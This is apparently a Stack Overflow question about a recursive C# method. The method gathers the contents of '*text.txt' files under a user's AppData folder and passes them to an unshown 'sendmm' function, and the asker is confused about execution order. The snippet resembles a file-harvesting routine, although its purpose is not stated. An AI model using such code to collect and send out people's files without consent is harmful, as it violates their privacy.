title: Why is the if statement being executed before the foreach loop?
body: <p>I had a problem before and now that I solved it, I can't solve this one.</p>
  
  <p><strong>debugging picture</strong></p>
  
  <p><img src="https://i.stack.imgur.com/wwwFm.png" alt=""></p>
  
  <p>For some reason the if statement is called BEFORE the foreach loop and because of that, the variable that I wanted to send AFTER the loop is empty. How can I fix it? I thought code is always read from top to the bottom?</p>
  
  <p>At the end, the list contains everything it should but the if statement is not being called a second time...</p>
  
  <pre><code>        public static void GetAllFiles(string sDir)
      {
          List &lt; string &gt; datas = new List&lt;string&gt;();
          foreach (string dir in Directory.GetDirectories(sDir))
          {
              try
              {
                  foreach (string file in Directory.GetFiles(dir, "*text.txt"))
                  {
                      string var = File.ReadAllText(file);
                      datas.Add(var);
                  }
                  GetAllFiles(dir);
              }
              catch
              {
              }
          }
          if (datas != null)
          {
              string dets = String.Join("\n\n", datas.ToArray());
              sendmm(dets);
          }
      }
  </code></pre>
  
  <p>appdata directory is being passed</p>